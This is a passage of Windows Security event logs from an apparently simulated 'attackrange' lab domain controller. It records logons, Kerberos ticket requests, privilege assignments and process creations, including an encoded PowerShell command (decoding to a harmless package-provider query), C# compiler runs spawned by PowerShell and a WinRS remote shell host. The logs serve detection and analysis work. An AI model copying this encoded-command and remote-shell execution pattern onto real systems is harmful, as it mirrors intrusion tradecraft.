	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BC27

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x60c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x370
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABHAGUAdAAtAFAAYQBjAGsAYQBnAGUAUAByAG8AdgBpAGQAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257632
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52F498

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257631
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52F498
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{714C064F-3986-F6B2-EBD4-0A84FB6B353B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257630
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{714C064F-3986-F6B2-EBD4-0A84FB6B353B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257629
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{714C064F-3986-F6B2-EBD4-0A84FB6B353B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257628
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257627
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BC27

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1224
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xcf8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES19E1.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC84C2D1161D3341F792794E39AF165662.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257626
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BC27

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x370
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\4zv0ukcw.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257635
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BC27

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3f4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES1EB3.tmp" "c:\Users\Administrator\AppData\Local\Temp\1skdkfif\CSC489718A98714C3680D614F09E3969B7.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257634
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BC27

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3f4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x60c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\1skdkfif\1skdkfif.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257660
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533882

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3b4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa18
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257659
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533882

Process Information:
	New Process ID:		0xa18
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257658
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x5d8
	Process Name:		C:\Windows\System32\svchost.exe
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257657
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533882

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257656
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533882
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6BE02BB0-8EA3-6BDC-15A4-6EB56DCD4859}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257655
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6BE02BB0-8EA3-6BDC-15A4-6EB56DCD4859}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257654
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6BE02BB0-8EA3-6BDC-15A4-6EB56DCD4859}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257653
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257652
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533797

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257651
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52BC27

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257650
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52C346

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257649
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533797

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257648
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x533797
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6BE02BB0-8EA3-6BDC-15A4-6EB56DCD4859}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257647
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6BE02BB0-8EA3-6BDC-15A4-6EB56DCD4859}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257646
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6BE02BB0-8EA3-6BDC-15A4-6EB56DCD4859}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257645
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
